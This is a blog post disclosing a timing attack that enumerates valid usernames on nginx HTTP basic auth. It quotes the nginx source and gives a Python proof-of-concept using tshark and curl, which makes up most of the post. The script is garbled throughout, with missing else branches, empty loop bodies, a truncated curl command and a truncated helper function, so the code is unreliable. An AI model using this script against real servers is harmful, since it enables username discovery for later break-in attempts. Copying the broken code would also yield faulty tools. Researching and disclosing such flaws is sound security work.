A timing attack on nginx’ HTTP auth basic module

It is possible to determine whether a given username is valid in theĀ HTTP basic auth scheme of a page served by the nginx web server with a significant degree of reliability. This knowledge can be gathered by leveraging a classical timing attack against nginx.

I have contacted nginx about this and they said that there are several ways to mitigate this attack. They also referred to a third-party module for nginx that ought to make it the server respond to the client after a certain amount of time has elapsed, thereby invalidating the prime mechanism behind a timing attack.

I still, however, want to share this because I doubt that many lower profile websites would go through this hassle for the sole sake of preventing possible username disclosure, and because it is conceivable to be useful in certain attacks.

First of all it must be noted that the attack won’t work all the time; per the nature of timing attacks this attack will only succeed if the hashing of the supplied password demands a processing-intensive crypt scheme, such as 1000 * MD5 (“$apr1$”), which is common for Apache-generated .htpasswd files. However, a timing attack against passwords stored in plain text on the server will typically not yield significant timing discrepancies from which useful indicators as to the username’s existence can be inferred.

Secondly, the script included with this post may include some bugs, introduced mainly by the reliance upon tshark’s output and the script’s improvised way of tracking the TCP stream. However, I want to emphasize that it only serves as a proof of concept, for which it is adequate, and that it may only be used for educational purposes.

Let’s go into a little more detail. Take a look at src/http/modules/ngx_http_auth_basic_module.c:

As it iterates over the server-side password file, the supplied username is being compared with the username from the password file currently being processed. Only if their respective data and lengths match up, a call to ngx_http_auth_basic_crypt_handler is made where the password is hashed.

if (buf[i] != r->headers_in.user.data[login]) {
    state = sw_skip;

if (login == r->headers_in.user.len) {
    state = sw_passwd;
    passwd = i + 1;

For that reason it is almost trivial to determine to determine whether a supplied username is valid or not. The included script achieves this through the measurement of the server response time of two dummy (randomly generated) usernames, which are presumed not to exist, and subsequently the response time of the username that an attacker wishes to probe. The response time of the dummy usernames is used to establish an average for a non-existing username; the hypothesis is that if an existing username is supplied the response time is much higher in relation to the dummy’s.

You can use two different methods for determining the server response time: either frame.time_epoch or tcp.options.timestamp.tsval. The former is based on your local clock whereas the latter is based on the server-side timestamp. The former method tends to have a much higher precision whereas the latter method may be preferable for unreliable network connections or long network paths; it basically eliminates any possible network jitter.

#!/usr/bin/env python

import string, random, argparse
import socket, fcntl, struct
from time import sleep
from subprocess import call, Popen, PIPE, STDOUT
from urlparse import urlparse
from os import devnull, remove

class TCPAnalyze:
    def __init__(self, src_ip, dest_ip, dest_port, method):
            self.IP = src_ip
            self.dest_IP = dest_ip
            self.port = int(dest_port)
            if method == "remote":
                self.time_source = "tcp.options.timestamp.tsval"
            elif method == "local":
                self.time_source = "frame.time_epoch"
                raise Exception("Invalid time source (specify either 'local' or 'remote'")
    def is_port(self, port):
            return port == self.port 
    def is_local(self):
            return not self.is_port( self.tcp_srcport )
    def is_remote(self):
            return self.is_port( self.tcp_srcport )
    def analyze(self, filename):
        command = [    "tshark",
                "-r", filename,
                "-T", "fields",
                "-e", self.time_source,
                "-e", "tcp.srcport",
                "-e", "tcp.flags.syn",
                "-e", "tcp.flags.ack",
                "-e", "tcp.flags.push",
                "-R", "ip.src eq " + self.IP + " or ip.dst eq " + self.IP]

        proc = Popen(command, stdout=PIPE)

        # Read the list of timestamps
        tmp = proc.stdout.read()

        # Split the contiguous data into a list of lines
        lines = tmp.split("\n")

        state = None
        diffs = []
        for l in lines:
            if l.strip() == "":

            l = l.strip().split("\t")

            tsval = float(l[0].strip())
            tcp_srcport = float(l[1].strip())
            self.tcp_srcport = tcp_srcport
            syn = True if l[2] == "1" else False
            ack = True if l[3] == "1" else False
            psh = True if l[4] == "1" else False

            if self.is_local() and syn:
                state = "syn"
            elif state == "syn" and self.is_remote() and syn and ack:
                state = "synack"
            elif state == "synack" and self.is_local() and not syn and ack:
                state = "connected"
            elif state == "connected" and self.is_local() and psh:
                state = "sent"
            elif state == "sent" and self.is_remote() and not psh and ack:
                state = "accepted"
                tsv = tsval
            elif state == "accepted" and self.is_remote() and psh and ack:
                diffs.append( tsval - tsv )
                state = "done"
        return sum( diffs ) / float(len( diffs ))

class NGXUsernameEnumeration:
    def __init__(self, REPEAT=50, DUMMY_USERS=2, method="local"):
        # Denotes amount of HTTP requests per username
        self.REPEAT = REPEAT

        # Denotes amount of randomized usernames in addition to supplied username

        self.method = method

        except Exception as ex:
            print "Error: %s" % (ex)


    def print_message(self):
        print  """
               nginx HTTP basic auth username enumeration

               by Guido Vranken

               I waive all liability. For educational purposes only.


    def init_parser(self):
        parser = argparse.ArgumentParser()
        parser.add_argument("url", help = "Full URL of auth-protected page")
        parser.add_argument("ip", help = "Server IP (remember that a domain may have multiple IP's)")
        parser.add_argument("interface", help = "Network interface (for example eth0)")
        parser.add_argument("outfile", help = "Output file (for example /root/out.pcap)")
        parser.add_argument("username", help = "Username whose existence you wish to probe")
        args = parser.parse_args()

        # Check HTTP URL validity
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            raise Exception("URL must start with http:// or https://")

        self.port = urlparse(args.url).port

        # Fill in default port if necessary
        if self.port == None:
            self.port = 80 if args.url.startswith("http://") else 443

        self.URL = args.url
        self.IP = args.ip
        self.interface = args.interface
        self.outfile = args.outfile
        self.username = args.username
        local_ip = self.get_ip_address( self.interface )
        self.tcpa = TCPAnalyze(local_ip, self.IP, self.port, self.method)

    def prepare_usernames(self):
        N = len(self.username)

        while True:
            usernames = []
            # Generate two randomized usernames of the same length
            # Amount may be increased for additional reliability at the expense of bandwidth usage
            for i in range( self.DUMMY_USERS ):
                usernames.append(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(N)))

            # Add the supplied username
            usernames.append( self.username )

            # Just to be sure, assure that there are no duplicates
            if len(set(usernames)) == len(usernames):

            # Otherwise traverse the code above once again

        self.usernames = usernames

    def log_and_parse(self):
        diffs = []

        for user in self.usernames:
            outfile = self.outfile_user( user )
            self.start_logging( outfile )
            self.run_curl_batch( user )
            self.stop_logging( )
            diffs.append( self.tcpa.analyze( outfile ) )

        self.calculate_difference( diffs )

    def start_logging(self, outfile):
        # Run tshark in logging mode the background
        ret = Popen([    "tshark",
                "-i", self.interface,
                "-w", outfile])

        # Sleep for a bit to ensure tshark has initialized properly and is ready to log

    def run_curl_batch(self, username):
        for y in range(self.REPEAT):
            # Construct username:password pair
            user_pass = username + ":xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
            command = [    "curl",
                    "-u", user_pass,
                    # Discard webserver output
                    "-o", "/dev/null",
                    # Quiet
                    # The URL of the page

            # Invoke curl

    def stop_logging(self):
        # Route output of pidof to /dev/null
        FNULL = open(devnull, 'w')
        # Halt tshark logging
        call(["killall", "tshark"], stdout=FNULL, stderr=STDOUT)

    def calculate_difference(self, diffs):
        # Calculate average, not including user-supplied username
        avg = sum( diffs[:-1] ) / float(len( diffs[:-1] ))

        # avg == 0.0 means that no timing differences at all have been found in the control set
        if avg == 0.0:
            raise Exception(
                    "Please increase the REPEAT variable in the script and run it again" )
            # Calculate the percentage in relation to the average of the control set
            percentage = diffs[-1] / avg * 100.0

        # Print results
        print "Time required to process '%s' is %f percent of the average time." % \
                                        (self.usernames[-1], percentage)
        print "(Above a couple of hunderd percent or so is meaningful)"

    def cleanup(self):

        # Delete pcap files
        if hasattr(self, 'outfile') and hasattr(self, 'usernames'):
            for user in self.usernames:
                remove( self.outfile_user( user ) )

    def outfile_user( self, username ):
        return self.outfile + "_" + username

    def get_ip_address(self, ifname):
        """ From
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        return socket.inet_ntoa(fcntl.ioctl(
            0x8915,  # SIOCGIFADDR
            struct.pack('256s', ifname[:15])

# Go